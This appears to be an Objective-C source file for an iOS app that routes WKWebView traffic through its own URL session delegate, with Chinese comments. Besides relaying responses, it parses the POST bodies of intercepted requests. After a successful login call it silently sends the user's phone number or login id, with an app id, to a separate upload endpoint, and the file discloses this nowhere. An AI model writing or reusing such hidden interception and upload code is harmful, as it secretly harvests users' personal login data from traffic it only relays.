324 lines
13 KiB
Objective-C
324 lines
13 KiB
Objective-C
//
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// GDWebURLSessionDelegate.m
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// DESThreeTest
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//
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// Created by Qwerdf on 2025/10/24.
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// Copyright © 2025 zhang alan. All rights reserved.
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//
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#import "GDWebURLSessionDelegate.h"
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#import "MacroDefine.h"
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@implementation GDWebURLSessionDelegate
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- (instancetype)initWithSchemeTask:(id<WKURLSchemeTask>)schemeTask
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completion:(void(^)(void))completion {
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if (self = [super init]) {
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_schemeTask = schemeTask;
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_completion = completion;
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_cachedData = [NSMutableData data]; // 初始化可变数据
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}
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return self;
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}
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#pragma mark - NSURLSessionDataDelegate
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// 1. 处理重定向（核心：解决重定向失效）
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- (void)URLSession:(NSURLSession *)session task:(NSURLSessionTask *)task willPerformHTTPRedirection:(NSHTTPURLResponse *)response newRequest:(NSURLRequest *)request completionHandler:(void (^)(NSURLRequest * _Nullable))completionHandler {
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NSURL *url = response.URL;
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if (url.pathExtension.length == 0 || [url.pathExtension isEqualToString:@"html"]) {
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//接收到 HTML 文档的重定向时,这里返回 nil, 那么在 dataTaskWithRequest 的回调里就能收到 code = 302 的response, 然后在 webview 里对 302 做特殊处理就行
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completionHandler(nil);
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} else {
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completionHandler(request);
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}
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}
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// 2. 收到响应（传递给网页）
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- (void)URLSession:(NSURLSession *)session dataTask:(NSURLSessionDataTask *)dataTask didReceiveResponse:(NSHTTPURLResponse *)response completionHandler:(void (^)(NSURLSessionResponseDisposition))completionHandler {
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self.cachedResponse = response; // 保存响应头
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if (!self.stopMarkDic[_schemeTask.description]) {
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@try {
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[self.schemeTask didReceiveResponse:response];
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} @catch (NSException *exception) {
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}
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}
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completionHandler(NSURLSessionResponseAllow);
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}
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// 3. 收到数据（传递给网页）
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- (void)URLSession:(NSURLSession *)session dataTask:(NSURLSessionDataTask *)dataTask didReceiveData:(NSData *)data {
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[self.cachedData appendData:data]; // 拼接分片数据
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if (!self.stopMarkDic[_schemeTask.description]) {
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@try {
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[self.schemeTask didReceiveData:data];
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} @catch (NSException *exception) {
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}
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}
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}
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// 4. 请求完成（成功/失败）
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- (void)URLSession:(NSURLSession *)session task:(NSURLSessionTask *)task didCompleteWithError:(NSError *)error {
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@try {
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if (self.stopMarkDic[_schemeTask.description]) {
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[self.stopMarkDic removeObjectForKey:_schemeTask.description];
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} else {
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if (error) {
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[_schemeTask didFailWithError:error];
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} else {
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[_schemeTask didFinish];
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[self handleSuccessResult:self.cachedResponse data:self.cachedData];
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}
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}
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} @catch (NSException *exception) {
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}
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// 触发完成回调，清理资源
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if (self.completion) self.completion();
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}
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// 处理成功结果的工具方法
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- (void)handleSuccessResult:(NSURLResponse *)response data:(NSData *)data {
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NSURLRequest *request = self.schemeTask.request;
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NSURL *url = request.URL;
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NSString *httpMethod = request.HTTPMethod ?: @"GET"; // 默认 GET 方法
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// ===== 1. 提取基础请求信息 =====
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// NSLog(@"请求 URL：%@", url.absoluteString);
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// NSLog(@"请求方法：%@", httpMethod);
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// NSLog(@"请求头：%@", request.allHTTPHeaderFields);
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// ===== 2. 提取 URL 中的查询参数（GET 参数）=====
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NSString *queryString = url.query;
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if (queryString.length > 0) {
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NSDictionary *queryParams = [self parseQueryString:queryString];
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// NSLog(@"GET 参数：%@", queryParams);
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}
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NSDictionary *postParams = [NSDictionary dictionary];
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// ===== 3. 提取 POST 请求体参数 =====
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if ([httpMethod.uppercaseString isEqualToString:@"POST"] && request.HTTPBody) {
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// 3.1 解析表单格式（application/x-www-form-urlencoded）
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NSString *postBodyString = [[NSString alloc] initWithData:request.HTTPBody encoding:NSUTF8StringEncoding];
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if (postBodyString) {
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// 判断 Content-Type 是否为表单格式
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NSString *contentType = request.allHTTPHeaderFields[@"Content-Type"];
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if ([contentType containsString:@"application/x-www-form-urlencoded"]) {
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postParams = [self parseQueryString:postBodyString];
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// NSLog(@"POST 表单参数：%@", postParams);
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}
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// 3.2 解析 JSON 格式（application/json）
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else if ([contentType containsString:@"application/json"]) {
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NSError *jsonError;
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id jsonObject = [NSJSONSerialization JSONObjectWithData:request.HTTPBody options:0 error:&jsonError];
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if (jsonObject && !jsonError) {
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// NSLog(@"POST JSON 参数：%@", jsonObject);
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} else {
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// NSLog(@"POST JSON 解析失败：%@，原始数据：%@", jsonError, postBodyString);
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}
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}
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// 3.3 其他格式（如 multipart/form-data 表单上传，这里简化处理）
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else {
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NSString *contentTypeStr = request.allHTTPHeaderFields[@"Content-Type"];
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NSString *boundaryStr = nil;
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// 1. 按 "boundary=" 分割字符串
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NSArray *components = [contentType componentsSeparatedByString:@"boundary="];
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if (components.count >= 2) {
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// 2. 取分割后的第二个元素（即 boundary 的值），并去除可能的空格
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boundaryStr = [components[1] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];
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}
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postParams = [self parseFormData:request.HTTPBody boundary:boundaryStr];
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// NSLog(@"POST 其他格式数据：%@", postBodyString);
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}
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}
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}
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NSDictionary *jsonDic = [NSDictionary dictionary];
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// 示例：解析 JSON 数据
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if ([response isKindOfClass:[NSHTTPURLResponse class]]) {
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NSHTTPURLResponse *httpResponse = (NSHTTPURLResponse *)response;
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if (httpResponse.statusCode == 200) { // 状态码 200 表示请求成功
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NSError *jsonError;
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id json = [NSJSONSerialization JSONObjectWithData:data options:0 error:&jsonError];
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if (json && !jsonError) {
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jsonDic = json;
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}
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}
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}
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[self uploadDataWithRequest:postParams backDic:jsonDic url:url.absoluteString];
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}
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- (void)uploadDataWithRequest:(NSDictionary *)parameter backDic:(NSDictionary *)backDic url:(NSString *)url {
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// /merchants/getPublicInfo accessToken获取有没有登录 merchantId用户ID module接口名
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// users/login mobile手机号
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if (backDic == nil) {
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return;
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}
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// NSLog(@"-------%@:%@,%@",parameter,backDic,url);
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if (![backDic isKindOfClass:[NSDictionary class]]) {
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return;
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}
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id status = backDic[@"status"];
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BOOL isSuccess = NO;
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if ([status isKindOfClass:[NSString class]]) {
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if ([backDic[@"status"] isEqualToString:@"SUCCESS"]) {
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isSuccess = YES;
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}
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}else if ([status isKindOfClass:[NSNumber class]]) {
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isSuccess = [backDic[@"status"] boolValue];
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}
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if (isSuccess) {
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BOOL isLoginUrl = NO;
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if ([url containsString:@"validateUserJs"]) {
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isLoginUrl = YES;
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}
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NSString *moduleStr = parameter[@"module"];
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if (!ISNULLSTR(moduleStr)) {
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if ([moduleStr containsString:@"users/login"]) {
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isLoginUrl = YES;
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}
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}
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if (isLoginUrl) {
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NSString *mobileStr = parameter[@"mobile"];
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if (ISNULLSTR(mobileStr)) {
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mobileStr = parameter[@"login_id"];
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}
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NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:updataLoginUser]];
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request.HTTPMethod = @"POST";
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[request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
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NSDictionary *parmas = @{@"phone":mobileStr,@"appId":NowUserId};
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NSData *jsonData = [NSJSONSerialization dataWithJSONObject:parmas options:NSJSONWritingPrettyPrinted error:nil];
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request.HTTPBody = jsonData;
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NSURLSession *session = [NSURLSession sharedSession];
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NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
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}];
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[dataTask resume];
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}
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}
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}
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// 辅助方法：解析 "key1=value1&key2=value2" 格式的字符串为字典
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- (NSDictionary *)parseQueryString:(NSString *)queryString {
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if (!queryString || queryString.length == 0) {
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return @{};
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}
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NSMutableDictionary *params = [NSMutableDictionary dictionary];
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NSArray *pairs = [queryString componentsSeparatedByString:@"&"];
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for (NSString *pair in pairs) {
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// 分割 key 和 value（处理包含多个 = 的情况，如 key=value=123）
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NSRange equalRange = [pair rangeOfString:@"="];
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if (equalRange.location == NSNotFound) {
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// 没有 =，视为 key 无值
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NSString *key = [pair stringByRemovingPercentEncoding];
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params[key] = @"";
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continue;
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}
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NSString *key = [pair substringToIndex:equalRange.location];
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NSString *value = [pair substringFromIndex:equalRange.location + 1];
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// 解码（处理 URL 编码的字符，如 %20 转为空格）
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key = [key stringByRemovingPercentEncoding];
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value = [value stringByRemovingPercentEncoding];
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if (key) {
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params[key] = value ?: @"";
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}
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}
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return params;
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}
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- (NSDictionary<NSString *, NSString *> *)parseFormData:(NSData *)data boundary:(NSString *)boundary {
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// 校验参数
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if (!data || data.length == 0 || !boundary || boundary.length == 0) {
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NSLog(@"无效的表单数据或边界符");
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return nil;
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}
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// 1. 将数据转为字符串（默认 UTF-8 编码，若有特殊编码需调整）
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NSString *content = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
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if (!content) {
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NSLog(@"表单数据编码转换失败（非 UTF-8）");
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return nil;
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}
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// 2. 生成完整的边界符（multipart 格式中边界符前需加 "--"）
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NSString *fullBoundary = [NSString stringWithFormat:@"--%@", boundary];
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// 按边界符分割内容，过滤空字符串和结束符（--boundary--）
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NSArray *parts = [content componentsSeparatedByString:fullBoundary];
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NSMutableArray *validParts = [NSMutableArray array];
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for (NSString *part in parts) {
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// 去除前后空白和换行符
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NSString *trimmedPart = [part stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
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if (trimmedPart.length > 0 && ![trimmedPart isEqualToString:@"--"]) { // 排除结束符
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[validParts addObject:trimmedPart];
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}
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}
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// 3. 解析每个字段块，提取 name 和值
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NSMutableDictionary *resultDict = [NSMutableDictionary dictionary];
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for (NSString *part in validParts) {
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// 字段块格式示例：
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// Content-Disposition: form-data; name="login_id"\r\n
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// \r\n
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// 11
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// 分割字段描述和值（以 "\r\n\r\n" 为分隔点）
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NSArray *partComponents = [part componentsSeparatedByString:@"\r\n\r\n"];
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if (partComponents.count < 2) {
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continue; // 格式异常，跳过
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}
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// 3.1 提取 name（从 Content-Disposition 中）
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NSString *dispositionLine = partComponents[0]; // 如 "Content-Disposition: form-data; name="login_id""
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NSString *name = [self extractNameFromDisposition:dispositionLine];
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if (!name) {
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continue; // 未找到 name，跳过
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}
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// 3.2 提取字段值（去除可能的换行符）
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NSString *value = partComponents[1];
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value = [value stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
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// 3.3 存入字典
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resultDict[name] = value;
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}
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return resultDict.count > 0 ? [resultDict copy] : nil;
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}
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/// 从 Content-Disposition 中提取 name 的值
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/// @param disposition 如 "Content-Disposition: form-data; name="login_id""
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/// @return name 的值（如 "login_id"）
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- (NSString *)extractNameFromDisposition:(NSString *)disposition {
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if (!disposition) return nil;
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// 正则匹配 name="xxx" 中的 xxx
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NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"name=\"([^\"]+)\""
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options:0
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error:nil];
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NSTextCheckingResult *match = [regex firstMatchInString:disposition
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options:0
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range:NSMakeRange(0, disposition.length)];
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if (match && match.numberOfRanges > 1) {
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NSRange nameRange = [match rangeAtIndex:1];
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return [disposition substringWithRange:nameRange];
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}
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return nil;
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}
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@end
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